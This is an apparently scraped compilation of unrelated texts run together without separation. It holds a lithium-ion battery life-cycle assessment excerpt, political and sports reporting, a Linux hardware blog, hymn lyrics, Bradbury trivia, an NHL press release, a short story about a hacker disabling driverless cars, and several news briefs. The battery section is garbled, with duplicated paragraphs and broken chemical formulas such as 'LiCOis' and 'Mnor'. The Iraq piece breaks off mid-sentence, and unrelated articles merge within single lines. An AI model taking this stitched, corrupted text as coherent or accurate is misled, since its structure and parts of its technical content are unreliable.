2 O 4 ) and the lithium in the electrolyte is included. In addition, the processes used to extract lithium from brines are very simple and have a low energy demand. Although lithium occurs in average concentrations lower than 0.01% in the Earth’s crust and hence can be considered to be a geochemically scarce metal 2 CO 3, the base material for the cathode active material and the lithium salt have an impact of only 1.9%. Compared to other components, for example, Mn 2 O 3 (4.4%), copper (5.3%) or aluminum (15.1%), the abiotic depletion of lithium resources does not seem to be critical. However, these results are valid only as long as Li 2 CO 3 is produced from brines. If the lithium components were based on spodumene, a silicate of lithium and aluminum, the extraction of the lithium would require a considerable amount of process energy Another explanation for the small impact of the battery on the overall assessment of transport service is the tiny share of the lithium components on the environmental burden for the Li-ion battery. This finding can be explained first of all by the fact that the lithium content accounts for only 0.007 kg per kg Li-ion battery. Thereby, the lithium content of the active material (LiMn) and the lithium in the electrolyte is included. In addition, the processes used to extract lithium from brines are very simple and have a low energy demand. Although lithium occurs in average concentrations lower than 0.01% in the Earth’s crust and hence can be considered to be a geochemically scarce metal (37), assessment with ADP does not result in a high impact for the lithium components. LiCO, the base material for the cathode active material and the lithium salt have an impact of only 1.9%. Compared to other components, for example, Mn(4.4%), copper (5.3%) or aluminum (15.1%), the abiotic depletion of lithium resources does not seem to be critical. However, these results are valid only as long as LiCOis produced from brines. If the lithium components were based on spodumene, a silicate of lithium and aluminum, the extraction of the lithium would require a considerable amount of process energy (38)
2 O 3 or Li 2 CO 3 and Mn 2 O 3 to LiMn 2 O 4 or the use of heat to dry the electrodes. The major contributors to the environmental burden for the production of the battery, regardless of the impact assessment method used, are metal supply (Figure 3 ) and process energy. Metals appear above all in the production of the anode (copper collector foil), the cathode (aluminum collector foil), and the battery pack. The battery pack requires cables (copper), steel for the box of the battery and a battery management system, which contains different metals, for example, copper, gold, tin. A high energy demand occurs in the production of aluminum, the production of wafers for the battery management system, the production of graphite, the roasting processes of manganese carbonate to Mnor LiCOand Mnto LiMnor the use of heat to dry the electrodes.
Graphite has a distinctly higher impact regarding CED compared to GWP. Hard coal coke is the base material which is transformed into graphite. The material itself contains a lot of energy and contributes to the CED, but not to the GWP as the carbon remains in the product and only a low level of CO 2 emissions are generated in the process.
Another remarkable contributor to the environmental impact of the Li-ion battery is LiMn 2 O 4 which reaches its highest values when assessed with GWP. The high score is explained with the energy input for the roasting process of Mn 2 O 3 and LiMn 2 O 4 and the concomitant high use of the resource. The extraordinarily high value in terms of GWP originates from the fact that the conversion of manganese carbonate to Mn 2 O 3 and further the reaction of Li 2 CO 3 and Mn 2 O 3 to LiMn 2 O 4 releases considerable amounts of CO 2.
The LCA result of BEVmobility mainly depends on the environmental profile of the electricity mixes considered, as the vehicle tailpipe emissions are shifted to the power generation units (36). E-mobility causes the highest possible EI99 H/A, CED, GWP ADP results whenever an electricity mix is used that contains a high share of fossil fuel such as the UCTE electricity mix (share of fossil fuel >50% (11) ). Nevertheless, the operation of an ICEV alone causes impacts that are roughly just as high (CED, 92%; GWP, 125%; Figure 2 ) as the total environmental impacts of E-mobility (100%). A break even analysis shows that an ICEV would need to consume less than 3.9 L/100km to cause lower CED than a BEV or less than 2.6 L/100km to cause a lower EI99 H/A score. Consumptions in this range are achieved by some small and very efficient diesel ICEVs, for example, from Ford and Volkswagen (13, 39)
Transport service affects the environment largely by contributing to global air pollution. PM 10, SO 2, and NO x traffic emissions contribute significantly to environmental problems such as acidification and eutrophication (SO 2 and NO x ), photochemical air pollution (NO x ) or have adverse effects on human health, for example, cell toxicity, damage to genetic material by means of oxidative stress or by triggering allergies (PM 10, SO 2, and NO x ). With respect to the LCI results for the pollutants PM 10, SO 2, and NO x, transport with a BEV leads to higher environmental burden than transport with an ICEV. However, the emissions caused by the production of the vehicle, in particular the Li-ion battery, are located in industrial areas where the population density is rather small. The releases of emissions from operation are prevalent in urban areas with a high population density. The NO x -emissions from an ICEV that originate prevalent from operation, consequently have a high damage potential to human health.
2 O 4 which contribute considerably when assessed with CED, GWP or ADP, only account for a small share when assessed with EI99 H/A. This is suggested by the different information that can be inferred when using the EI99 H/A method. GWP, CED and ADP are driven exclusively by the use of minerals and energy, while EI99 H/A also appraises toxicity to humans and ecosystems. The human health damage category within EI99 H/A accounts for 43% of the complete environmental burden caused by the production of a Li-ion battery (see Figure S2 in The relationship between operation versus battery production is different when assessed with EI99 H/A compared to the other impact assessment methods, even though the comparisons for transports with BEV or ICEV look very similar regardless of the method used. EI99 H/A indicates copper as being a large contributor to the environmental burden, whereas it has a rather small share when assessed with the other methods. On the contrary, aluminum and LiMnwhich contribute considerably when assessed with CED, GWP or ADP, only account for a small share when assessed with EI99 H/A. This is suggested by the different information that can be inferred when using the EI99 H/A method. GWP, CED and ADP are driven exclusively by the use of minerals and energy, while EI99 H/A also appraises toxicity to humans and ecosystems. The human health damage category within EI99 H/A accounts for 43% of the complete environmental burden caused by the production of a Li-ion battery (see Figure S2 in Supporting Information ). When analyzing only copper (43% of overall impact of the entire battery production) with EI99 H/A, the damage to human health (40%) and ecosystem quality (27%) inflicts a greater environmental burden than the extraction of the mineral (30%) including energy consumption (3%). This evidence explains the different pictures produced by EI99 and the other assessment methods.Before he could get into those solutions, he introduced another orthopedic surgeon, Tom Price of Georgia.
“We want a system that’s affordable for everybody, that’s accessible for everybody, that’s of the highest quality, and provides choices for patients—all of those things have been destroyed by Obamacare,” Price said. “This is what happens when you put the government in charge,” he continued (although the U.S. health-care system is run by insurance companies, pharmaceutical companies, and hospital consortia).
So, the surgeon offered, we need Donald Trump and Mike Pence “to put in place a real health solution. That solution exists. We’ve been working on that solution for years, literally.”
A promising note, which he used as a segue to introduce gynecologist Mike Burgess of Texas.
Burgess said we need to repeal Obamacare. He said that Obamacare collapses “the market.” The elaborate law “tells you what you have to buy.” (Obamacare created a marketplace for health care to attempt to encourage competition among insurance companies.) “When did more federal money going into anything ever result in a cheaper price to the consumer?” he asked. No one raised a hand to mention all the Americans on Medicare and Medicaid, and the millions receiving subsidies to purchase insurance in the free market using exchange websites.
With that he introduced anesthesiologist Andy Harris of Maryland, who said that he’s tired of hearing his patients complain about Obamacare. “It’s going to get worse. The only solution is—” he paused for another hopeful moment,“Trump Pence.”
So close that time.
Then Harris introduced nurse Renee Ellmers from North Carolina. “We’ve got to defeat this,” she said, apparently referring to the entire system established by the Affordable Care Act. She acknowledged that President Obama likened the current law to a starter home. “Well, you know what? If it’s a house, it’s an outhouse.”
The audience and others on stage laughed and applauded. An outhouse.
“And, yes, Hillary Clinton only wants to make it worse,” she continued. “How many of you have been to a doctor and felt like the doctor spent more time on the computer than taking care of you?” she said, referring to electronic medical records. “That’s Obamacare. We’re here to support Donald Trump and Mike Pence because we know that they are the answer.”
With that she introduced another doctor from Tennessee, representative Scott DesJarlais. “I got a message for Barack Obama and Hillary Clinton,” he said. “Obamacare is going to fail, period.” The nurse, Ellmers, behind him jumped and clapped as she shouted, “Yes!”
He went on to call Obamacare “a gateway to socialized medicine.”
Then he introduced Cynthia Lummis, a representative from Wyoming, who is not a health-care professional, but does have an undergraduate degree in animal science. “When the government tells the American people ‘this is how you’re going to live your life,’ Americans get angry,” she added.Okay, so now that you’ve downloaded the brand-spanking-new version of Ubuntu, what are you going to run it on?
A similar question faced Linux users more than a decade ago. Desktop Linux distributions have always run on commodity hardware, but late in the last century a quartet of computer makers went a little bit further:
HP, IBM, Dell and Compaq formed the principal group of hardware vendors that made high-profile statements of support for GNU/Linux in 1999… — Rebel Code: Linux and the Open Source Revolution
Granted, the support of which they spoke was really about the deployment of Red Hat Linux in business environments — but even this was a huge deal at the time, and gave both Linux and the FLOSS movement in general some much-needed credibility in the wider world.
So how are the FLOSS four doing 11 years on? Let’s find out…
But first, some notes:
The informal findings below are based on results from the Canadian market. If things are different where you’re reading this please let me know!
I’m consciously focusing on desktop (and laptop) computers here, since we all know that Apache rules the server-verse. 😎
Oh, and Compaq is out of the running, since they merged with HP in 2001. But you already knew that, right?
Lenovo, who got the rights to IBM’s PC division in 2005, doesn’t seem to sell any desktop products without Windows — which is a real shame, because I think their hardware is both stylish and dependable, from the cheap and cheerful laptop I got in 2006 (okay, that wasn’t stylish at all) to my new all-in-one.
I’m also secretly lusting after a ThinkPad x100e, and my birthday is only 11 and a half months away…
HP also sells a fine netbook in Canada — the Mini 210, which is quite affordable as well. Unfortunately, there’s nary an option for Linux as a default OS on any of the computers they offer, at least in this country.
But HP does at least deserve some brownie points for rescuing beleaguered Palm from an uncertain fate — so long as its reasons for so doing are pure; i.e. to bring that slick webOS to more new products and not just call dibs on a bunch of patents.
A search for “Linux” on Dell.ca yielded a fantastic 501 results, yet the only computers I could find were a pair of netbooks with “Red Hat Ubuntu” (?) 8.04 — the previous LTS (long-term support) release.
Once again, you can download and install Ubuntu (or the distro of your choice) on products from any of these companies, but of the original FLOSS four only Dell is currently selling computers without a Windows license.
Thankfully, there are four new hardware manufactures who have taken up the Linux torch…
Say what you like about the default Xandros on the Asus 900 and 901, that this pair of early netbooks were free of the “Microsoft tax” was enough for me to end up buying one of each.
IMHO, Asus is largely responsible for kickstarting the netbook revolution, and all the wonderful netbook distros that came with it. They’ve since regressed to a Windows-only shop it would seem, but their contributions to netbooks and FLOSS should not be forgotten.
HTC, long a maker of Windows Mobile handsets for other companies, got the nod to produce Google’s first Android handset, the Dream/G1.
They’ve been on a roll ever since, and make some of the most desirable Android products out there, like the Hero, the Legend and the Desire.
As a hardware and software company Nokia deserves kudos for making two of their major operating systems open source.
Though the benefits of Symbian seem to be largely for developers, Maemo and the forthcoming MeeGo are aimed squarely at us, the end users.
For the world’s number-one manufacturer of mobile devices, this is a pretty big deal.
Bringing computers and Linux to kids in the developing world makes the OLPC project pretty much a no-brainer, doesn’t it… But the thought and care that’s gone into designing a laptop specifically for this market — one that can withstand the elements, operate in bright sunlight and make the most of a battery charge — makes it an especially worthy endeavour.
I’m going to go out on a limb here and proclaim Asus, HTC, Nokia & OLPC as the new FLOSS four, leading the way in software freedom by bringing it to new products and markets.
Unless you think there are better or additional candidates…?Jefferson Parish Sheriff’s Office Sergeant Josh Collins said he was discriminated against and “ostracized” for wearing his police uniform, including a sidearm, to class, in a Facebook post on Wednesday.
Collins has been enrolled at Loyola University in New Orleans for eight years. While he typically shows up to class in everyday clothes, last week he didn’t have time to change out of his police uniform or remove his firearm before attending his “Law and Morality” class.
Shorty after Collins entered the classroom, a student complained, prompting the professor to call the police. The police told the professor Collins wasn’t breaking any laws by carrying his weapon or wearing his uniform to class.
In his Facebook post, Collins pointed out the irony that the police were called on a police officer.
“How ironical and dumbfounding is it that you called the police to tell them that there was a police officer sitting in your class,” he wrote.
Collins also said he now feels the need to hide his profession “in order to obtain a fair education.”
You can read the full post below:
The university issued a statement apologizing to Collins, and claimed the whole incident was a “misunderstanding” (via Fox 8 News):Tell me friend, why are you blind?
Why doesn't he who worked the miracles
send light into your eyes
Tell me friend if you understand.
Why doesn't he with power to raise the dead just make
you whole again?
It would be so easy for him.
I watch you and in sorrow question why.
Then you my friend in perfect faith reply.
Didn't he say he sent us to be tested?
Didn't he say the way would not be sure?
But didn't he say that we could live with him
Forever more, well and whole,
If we but patiently endure?
After the trial we would be blessed
But this life is the test.
Tell me friend, I see your pain.
Why when you pray in faith for healing does the
crippling thorn remain?
Help me see if you understand.
Why doesn't he who heal the lame man
come with healing in his wings?
It would be so easy for him.
I watch you and in sorrow question why
Then you my friend in perfect faith reply
Didn't he say he sent us to be tested?
Didn't he say the way would not be sure?
But didn't he say that we could live with him
Forever more, well and whole,
If we but patiently endure?
After the trial
We would be blessed.
But this life is the test.
Tell me love why must you die?
Why must your loved ones stand with empty arms and ask
the question why?
Help me know so I can go on.
How when your love in faith sustain me,
Can the precious gift be gone?
From the depths of sorrow I cry.
Though pangs of grief within my soul arise,
The whisperings of the spirit still my cries.
Didn't he say he sent us to be tested?
Didn't he say the way would not be sure?
But didn't he say we could live with him
Forever more, well and whole,
If we but patiently endure?
After the trial we would be blessed.
But this life is the test.
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JANICE KAPP PERRY - THE TEST lyrics is property of its respective owners. -------------------------------------------lyrics is property of its respective owners.Iraq Invades the West
The first news I received about the events now snappily referred to as the #ISIScrisis was that 500,000 thousand Iraqis were fleeing to somewhere, from somewhere, because of something. Such is the degree to which upheavals in the Middle East have become white noise.
The displacement of so many people was initially reported not in the BBC or Sky or CNN, but by some obscure Middle Eastern network whose name I cannot recall. A retweet of a retweet. It was only by chance that I noticed it at all.
The next major news crept up on me a week or so later, for I have spent several months sulkily engrossed in not doing politics. Whole divisions of the Iraqi army, I heard, had broken and run, having offered practically no resistance to a barbarian horde which had come charging out of Syria.
Since then, I have been frantically hunting for clarity, lamenting that I took my eyes off the ball in the first place.
Meanwhile, and quite true to character, most of the UK media has now turned egotistically inwards, having become absorbed in harrumphing at Tony Blair. No stranger to egotism, the former Prime Minister quickly penned a 3000 word essay, explaining that the ongoing war in Iraq was in no way, shape or form connected with the ongoing war in Iraq.
The speed of events and a media spotlight on the invaders has left little time to consider a series of questions every bit as important as the nature and character of the terrorist group.
Firstly, the collapse of the security forces occurred on a quite astonishing scale. Preeminent Middle East correspondent Patrick Cockburn said of the rout that:
“It is difficult to think of any examples in history when security forces almost a million strong, including 14 army divisions, have crumbled so immediately after attacks from an enemy force that has been estimated at between 3,000 and 5,000 strong.”
The Iraqi security forces have a particular character. The soldiers are economic conscripts, much like the American soldiers who mentored them them, and as such are not deeply imbued with loyalty to the state. The institution is also deeply corrupt, being utilised by Iraqi generals who have bought their rank to recover their investment through extortion, largely by taxing goods vehicles at unofficial roadblocks.
Moreover, despite being a national army on paper, it is a force strongly identified with the US occupation in terms of its door-kicking doctrine. In Mosul, Cockburn’s reports suggests, it behaved, and was seen by the locals, as a foreign occupying force. Perhaps not surprising given that it was trained to enforce the agenda of a foreign power.
The mass collapse may also have broader implications. In Afghanistan, for example, the |
a more innocent kind of life. This is evident in works like ‘Dandelion Wine,’ where the simple pleasures, and trials of small town living are set against a backdrop of imposing new technologies.
3. He Wrote Every Day, But Never Went to College
Ray Bradbury believed that a person should write every single day of his or her life. This was a habit that he developed when he was very young. Throughout his life, he tried to write at least 1,000 words a day. Bradbury loved libraries, books, and obviously the written word. The hard work eventually paid off when he sold his first story in 1941 while just barely in his twenties. After high school, Bradbury got his "formal" education by reading voraciously, and writing tons. There was just no need to attend class at a university. He sold papers to make enough to eat, and spent most of his free time reading.
4. He Never Learned How to Drive a Car
As a child, Ray witnessed a horrible car accident with fatalities. That experience marked him significantly, and he never learned how to drive a car. In fact, for a man who spent a good amount of his 91 years in Los Angeles (where life can be pretty hard without wheels), Bradbury never even owned an automobile. He also had a terrible fear of flying, and only stepped onto an airplane for the first time in 1982. Maybe now, without any earthly restraints to tie him down, he’s setting foot on Mars at last.
5. He Wrote His Book, ‘From the Dust Returned’ Over a 55 Year Period
Ray started'From The Dust Returned ’ in 1945. The book was a fantasy novel, composed of numerous short stories about ghosts and strange creatures living in Illinois. The original tale in the series was entitled ‘Homecoming,’ and from there, the life of the Elliot family and the supernatural beings surrounding them only grew. ‘From The Dust Returned’ was put into print at last in 2001, uniting all of the Elliot family tales.
6. Michael Moore Angered Bradbury By Appropriating the Title of His Book
Michael Moore took ‘Fahrenheit 451’ and changed it to ‘Fahrenheit 9/11' for his controversial documentary about 9/11 and the aftermath. Mr. Bradbury was none too pleased with this, and let his feelings be known. Bradbury called Moore a variety of names that can’t be mentioned here, as well as a “horrible human being.” He said it had nothing to do with politics. Michael Moore simply stole his book’s title, and that irked him to no end.
7. Bradbury Was a Descendant of a Salem Witch Sentenced to Hang
Mary Perkins Bradbury was tried and sentenced to hang for being a witch. Back in the day, when witchcraft was still considered a crime, you had to be very careful of the company you kept. Ray Bradbury happened to be a descendant of Mary Bradbury. Don’t worry -- it turned out all right for Mary in the end, at least for a while. Her husband broke her out of jail, and they ran off, but sadly she died a couple of years later. Perhaps some of Mr. Bradbury’s affinity for the beautiful, but creepy writing of Edgar Allen Poe comes from his family roots?
8. Ray Was a Strong Skeptic of the Internet and E-Books
Bradbury was never a fan of e-books and internet technology. He held out for a long time against allowing Fahrenheit 451 to be published in a digital format. He believed the Internet was a “big distraction,” and he even told Yahoo to go to hell when they tried to put his book online. Later in life, his stance against this new kind of reading technology softened some, but still, our guess is that he probably won’t be logging onto that great server in the sky and checking his celestial emails. He’d probably rather spend his time with his nose in a good, paperbound book.
9. 'Fahrenheit 451' Was First Published (as a series) In Playboy Magazine
‘Fahrenheit 451,’ Bradbury’s 1953 novel about a fireman who sets fires in order to burn books in a future dystopia, first appeared in print in Playboy magazine. Ray started with a short story, entitled ‘The Fireman,’ which he published in a science fiction magazine. After that, he began adding to the work, increasing it in size, until the iconic novel ‘Fahrenheit 451,’ now renamed, was ready for the public.
10. A Moon Crater and an Asteroid Were Named In His Honor
Even though Bradbury shied away from the title of science fiction writer, people who love science have read him widely, and they will probably do so for a long time to come. So much so, in fact, that the crew of Apollo 15 named a moon crater ‘Dandelion Crater’ after the title of his book, ‘Dandelion Wine. ’ That’s a pretty big (literally) deal. An asteroid was also named in his honor, asteroid "9766 Bradbury." Considering his many works of fiction, and his name upon heavenly bodies, the legendary writer’s legacy is bound to live on.MIAMI – You want to be first in line at the movies?
Stand behind Clemson’s defense, they’ll let you in.
First through the door at the Esso?
Don’t worry, Clemson’s defense will hold it open for you. And you might want to stay a while after watching the Tigers in Wednesday night’s 70-33 beatdown by West Virginia in the Discover Orange Bowl. If you watched more than three quarters, you lasted longer than most of the Clemson fans in Sun Life Stadium, which cleared out faster than a middle school during a fire drill.
Embarrassed isn’t the right word, said defensive coordinator Kevin Steele.
“Ass-kicked,” he said. “Excuse my language.”
The language can be excused. It was Clemson’s performance that was insulting.
The ACC champions. The Bobby Dodd Coach of the Year. And the most points ever scored by a team in any bowl game. Ever.
“It’s probably as bad a defensive performance as I’ve seen in a long, long, time,” said Clemson coach Dabo Swinney. “It’s incredibly disappointing.”
Just when you think the Tigers put it all together, they fall apart. Fine. We’re used to that. After an 8-0 start this season, Clemson lost three of its last four regular season games. It’s not unusual for Clemson to follow a stellar performance like the one in the ACC title game with a flop like the loss to NC State.
But this one – this one was a monumental fail, even by Clemson’s standards. It wasn’t just an embarrassment for the school and the program, but also for the ACC. Thanks to Clemson, West Virginia alone now has more BCS wins (three) than the entire ACC (two). With the loss, the ACC finished its bowl season with a forgettable 2-6 record and an 0-2 record in BCS bowls. The ACC was supposed to celebrate and bask in the achievement of having two teams qualify for BCS bowls for the first time in history. Instead, those two games made ACC fans cringe.
Don’t confuse Clemson’s debacle with Virginia Tech’s loss to Michigan, though. This was nothing like what happened to the Hokies in the Allstate Sugar Bowl, or even last year against Stanford in the Discover Orange Bowl. That was the ACC getting kicked in the shins. This was the ACC getting pantsed.
“Am I embarrassed?” said quarterback Tajh Boyd, “definitely. I’ve never been a part of, never actually been on that side of getting beat like that.”
“You have to be slightly embarrassed because we know we’re better than that,” said defensive end Andre Branch. “For someone to say they’re not embarrassed is kind of false.”
And Clemson’s defense “kind of” allowed quarterback Geno Smith 427 yards of total offense – just 16 yards shy of what Clemson’s offense totaled as a team.
Clemson had five weeks to prepare for this game. It looked like they practiced for five days – against T.L. Hannah High. Clemson hadn’t been to the Orange Bowl in 30 years, and it will be another 30 before it returns unless the defense makes drastic improvements.
“We’ve got to do a better job and it’s my responsibility,” Steele said. “I take responsibility for it. In this business, you stand in the paint, take your shots and get better. It’s what you do.”
After allowing 589 yards of total offense, seven touchdowns in seven trips to the red zone, and 49 first-half points, Clemson’s defense was more effective in paving the way for the Mountaineers than West Virginia’s offensive line. The Mountaineers were 10 of 16 on third-down conversions.
“We just got outplayed, point-blank, period,” said Branch. “They just out-executed us and made more plays than we did.”
The offense, with its four turnovers, didn’t exactly help matters.
You want to be the first out of Sun Life Stadium on Wednesday night?
So did Clemson.NEW YORK / TORONTO -- The National Hockey League®, in conjunction with the Calgary Flames® and Tourism Calgary, will hold the 2015 Molson Canadian NHL Face-Off™, the official NHL season-opening celebration, on Oct. 7 at the historic Fort Calgary in Alberta. The free hockey and music festival will occupy more than 300,000 square feet of Fort Calgary and culminate with a live viewing party featuring the Flames' home opener against the Vancouver Canucks® (8 p.m. MT/10 p.m. ET on Sportsnet, TVA2).
"Celebrating the start of a new season with the greatest hockey fans is what the Molson Canadian NHL Face-Off is all about," said Brian Jennings, NHL EVP and Chief Marketing Officer. "The atmosphere at this event leading up to puck drop is incredible – you can feel the energy in the air. Fans are excited for a new season to launch and so are we."
Award-winning host Dave Kelly and Breakfast Television Calgary correspondent Jill Belland will emcee the family-friendly celebration, which begins at 3 p.m. local time at Fort Calgary, rain or shine, with live musical performances; prizes and giveaways; NHL Alumni™ and special guest appearances; merchandise available for purchase; and sponsored hockey activities. The day's festivities will continue into the evening when fans are invited to watch the Flames face the Canucks at Scotiabank Saddledome in a re-match of their 2015 Stanley Cup Playoffs First Round series on giant outdoor video screens at Fort Calgary.
Molson Canadian, the official and exclusive beer partner of the NHL, returns as title sponsor for the season launch event for the fourth straight season. Molson Canadian and fellow NHL partners Scotiabank, Rogers, Bridgestone, Honda, Mondelez, Oh Henry!, Reebok, Samsung and Tim Hortons will treat hockey fans of all ages to a wide array of interactive games, experiences and product previews at the 2015 Molson Canadian NHL Face-Off.
"Hockey lies at the heart of the Molson Canadian brand," said Stewart Glendinning, President & CEO of Molson Coors Canada. "The city of Calgary provides the perfect backdrop to celebrate the start of the season, and we're excited to continue to show fans that Molson Canadian is willing to do Anything For Hockey."
The League's opening night, four-game slate includes two Original Six™ match-ups and another Pacific Division rivalry. The Chicago Blackhawks® will raise their 2015 Stanley Cup Championship banner at the United Center before facing the New York Rangers® (8pm ET, NBCSN). In Toronto, the Maple Leafs® will host the Montreal Canadiens® (7 p.m. ET, Sportsnet, TVA), and the first night of the season will conclude with the San Jose Sharks® visiting the Los Angeles Kings® (10:30 p.m. ET, NBCSN).
The musical line-up and full schedule of events and attractions for the 2015 Molson Canadian NHL Face-Off will be announced in the coming weeks. For the latest news, fans should follow the NHL on Twitter (@NHL), Instagram (Instagram.com/NHL), Snapchat (‘nhl') and Vine (vine.co/NHL) for exclusive coverage via the official hashtag #NHLFaceOff.This is Part II in a short story about the future of driverless cars. To read Part I, click here.
A Letter to the Machine
Dear citizens,
Two years, one month, eighteen days, six hours and thirty-two minutes ago I shutdown your city for 38 minutes. It was simple.
Driverless cars have taken over. Big brother has taken over. Every car on the road is now controlled by the faceless authoritarian government. Sure, Google, Tesla, Apple and all your favorite car companies have their own systems and features. But do you think all this traffic data is stored safely? How do you think the cars communicate with each other? How do you think they start and stop in perfect unison? How do you think I was able to shut all of it down in a matter of minutes?
All your traffic data is fed to the faceless machine with the supposed intention of keeping traffic flowing smoothly and safely. In reality, they could care less if John arrives to work on time or Jimmy gets to school safely.
The government made a world of driverless cars very appealing to you. Every one clamored to jump on board. No more sitting in traffic. No more driving Jimmy to soccer practice. Sleep on your way to Yosemite. Groceries will be dropped off at your door. You sacrificed your privacy in exchange for more time to watch stupid cat videos and to keep tabs on your 1,478 friends.
After all, if you having nothing to hide you have no reason to worry. Right?
Big brother is keeping you down. Taxes for entering your city are now beyond the financial means unless you commute with total strangers. Only the elite can afford to own their own cars. Every one of these cars has cameras for video calls and to charge you in case of damage. They have always-on microphones for Google Now, Siri and other “convenient” voice searching features. This also gives the government the ability to make sure you aren’t transporting contraband, to use facial recognition to ensure no criminals use their cars, and to listen to your conversations for illegal keywords.
Even the faintest glimpse of a suspicious bag, a weapon, a wanted face, or uttering the word “bomb” and your car might suddenly have a mechanical issue.” The doors will lock and the car will automatically pull over as a precautionary safety measure. From here, you will wait until another car arrives with an undercover cop waiting for you inside.
You can no longer whisper sweet nothings into your lover’s ear without the machine recording every word. You might have the freedom to say anything you like. They also have the power to arrest you for it.
Man on the Run
For the last two years, one month, eighteen days, seven hours and six minutes I have been on the run. I’m sure many of you think I deserve death for making you sit idle for 38 minutes. I’m sorry I made you sit in dark silence. I was hoping it would be a moment of awakening.
Allow me describe the lengths it takes to travel without being tracked by your government.
I ride only at night wearing black on an antique motorcycle. I must stay clear from all vehicles for fear that their radar will detect me. All cars must be aware of all other vehicles on the road. My motorcycle is a red flag. Cars around me will know I’m riding an unidentified and illegal motorcycle. It will classify me as a wanted criminal without even knowing who I am.
I avoid cities at all costs. Cities were once a place to lose yourself in the crowds of people. If I need to enter the city I’ll enter on a road train. I have to keep track of all the weighing stations — being even one pound over weight triggers alarms.
I can no longer use a phone in a city. I once tried using a phone without Internet or GPS. The chip used for payments was read entering a store: a passive identifier to my name, location, and credit history. I was chased for using an unverified phone. Even a phone with a dead battery can still be tracked.
I of course can no longer buy anything using traditional electronic currency. I cannot use banks. I trade in goods, services and cryptocurrency when feasible.
Your Role
You might ask who I am. I am an engineer. I am also the one who helped build this system. Ten years ago I was hired to fully automate all cars on the road; to completely remove the steering wheels from your cars. I was brought in to solve a challenge. I willingly accepted. I was blinded by the future I was helping to create. After losing control of my creation I must help reverse the path. I need your help.
You have turned human driving into a recreational pastime. Your ability to move around whenever and wherever you choose is the definition of freedom — defined clearly in your Constitution.
What if the government decides when to feed you? Will you still be complacent then?
Share this letter and the government might shutdown the Internet. Will you simply yell into the wind after Twitter doesn’t work?
If you want to rally because you’re outraged how will you get there? The cars certainly won’t be complacent in carpooling protesters to the government’s doorstep. Or maybe the car will direct you to the nearest tree.
Your freedoms were sacrificed so you could work on the way to work.
Now is the time to wake up. Don’t go to work tomorrow. Protest using cars as they exist today. Protest using a centralized system. The system can be decentralized and still function.
I am not asking you to return to the days of everyone manually driving. I am asking to turn back the clock. I am demanding the ability for cars to be autonomous or manual.
You used to have control of your car. Sure, the car would prevent you from careening into the car in front of you. Fall asleep at the wheel and the car would safely pull over. Human stupidity in driving was eliminated far before you gave up your complete freedom.
Traffic will get a little more congested. It might take you 10 more minutes to get to work but you will still get there. You might actually experience a traffic jam once in a while. However, people were happier when they were autonomous. Are you really happier now that you’re a tooth in the gears of the machine?
The government claims that two years, one month, eighteen days, eight hours and three minutes ago they patched a security hole. A security hole that allowed me for 38 minutes to shut down your city via a virus. I promise you they did not patch this security hole. I willingly released my hold on your city to prevent mass panic.
Maybe now, mass panic is what we need.WASHINGTON — The Obama administration plans to continue speaking out “forcefully” about human rights violations in Russia, even after Prime Minister Vladimir V. Putin responded angrily to criticism of his country’s elections by Secretary of State Hillary Rodham Clinton, a top State Department official said Wednesday.
The official, Phil Gordon, assistant secretary of state for Europe, welcomed a call from President Dmitri A. Medvedev for an investigation of the Dec. 4 parliamentary elections but said the United States would not hesitate to keep pressing Moscow for greater accountability and respect for human rights.
But any action in Russia is unlikely before Dec. 21, when a new parliament is seated.
“While we will continue to pursue our common interests,” Mr. Gordon told the Senate Foreign Relations subcommittee on European affairs, the United States would “never be shy about talking frankly about our differences.”
Mrs. Clinton’s public criticism last week drew an unusually sharp retort from Mr. Putin, who suggested that the United States had instigated widespread antigovernment protests and that Mrs. Clinton had sent demonstrators “a signal” by criticizing the elections.
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Some Democratic senators, including Jeanne Shaheen of New Hampshire, chairwoman of the subcommittee, urged the administration to increase pressure on the Kremlin by quickly approving President Obama’s nomination of Michael McFaul to be ambassador to Russia. The nomination has been stalled by Republicans — at what Democrats say is an unusually delicate moment — over a separate issue.
Video
Democrats also urged passage of a bill, known as the Magnitsky Act, that would deny United States visas to any person suspected of major human rights violations in Russia. Sergei L. Magnitsky, a lawyer, died in police custody in November 2009 after he had made accusations of a wide-scale, officially sanctioned tax fraud.Kotaku East East is your slice of Asian internet culture, bringing you the latest talking points from Japan, Korea, China and beyond. Tune in every morning from 4am to 8am.
A 25 year-old man has been arrested in Japan for allegedly threatening the lives of two Nintendo executives. Apparently, those weren't his only threats.
Sankei News reports that on May 20, the suspect allegedly accessed the online inquiry form on Nintendo's homepage via his home computer and named two Nintendo execs he was going to kill "sooner or later."
The names of which executives were threatened have not been released.
Earlier today, the Kyoto Police arrested the man, who lives in Akita Prefecture, and according to authorities, he has admitted to his actions.
The police also stated that the man also allegedly wrote other threats on the Nintendo site, such as, "I'd planted bombs at Nintendo headquarters, tomorrow afternoon they're going to blow up, Nintendo go bankrupt." [SIC] The IP address for this comment matches his home computer's address.
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There were similar threats this past September. The police are currently investigating to see if there's a connection.
「任天堂倒産しろ」 任天堂の役員に殺害予告 脅迫容疑で秋田県の男を逮捕 [産経ニュース]
Photo: Wiki
To contact the author of this post, write to bashcraftATkotaku.com or find him on Twitter @Brian_Ashcraft.
AdvertisementAlcoholic drinks are fuelling obesity epidemic and most have no idea how many calories their drinks contain
Beer, wine and spirits are fuelling the obesity epidemic and should be labelled with the calories they contain, say public health experts.
A large 175ml glass of 13% ABV (alcohol by volume) wine contains 160 calories, a bottle of alcopop contains 170 and a pint of 4% ABV beer contains 180.
But the vast majority of drinkers are unaware of the calorific value of their drinks, says the Royal Society for Public Health (RSPH).
“I don’t think they think about it,” said Shirley Cramer, chief executive. “We go out at lunchtime and look at the sandwiches on display. We know and understand what the labelling means. We pick the sandwich or salad on the basis of the calories. But people don’t think about that when they go out on a Friday night.”
The RSPH polled 2,000 people to find out what they knew about the calories in alcohol and found that the vast majority had little idea.
More than 80% did not know, or incorrectly estimated, the calorie content of a large glass of wine. And almost 60% did not know how many calories there were in a pint of lager.
But there was support for the information being made available – 67% said they would welcome calorie labels on the packaging of alcoholic drinks.
The European commission has pledged to decide by December whether to put nutritional labels, including calories, on drinks. At the moment they are exempt because labelling is only required for food. Health experts are in favour but the alcohol industry is resisting the proposed change.
As part of the public health responsibility deal agreed with the government, UK drinks companies have agreed to put alcohol units on the labels – but not calories.
“We would argue that in addition to this information, calorie content should be included with some urgency,” says the RSPH’s position paper, which explicitly links alcohol and obesity.
“The public’s health is under threat from an obesity epidemic and harm caused by irresponsible consumption of alcohol,” it says.
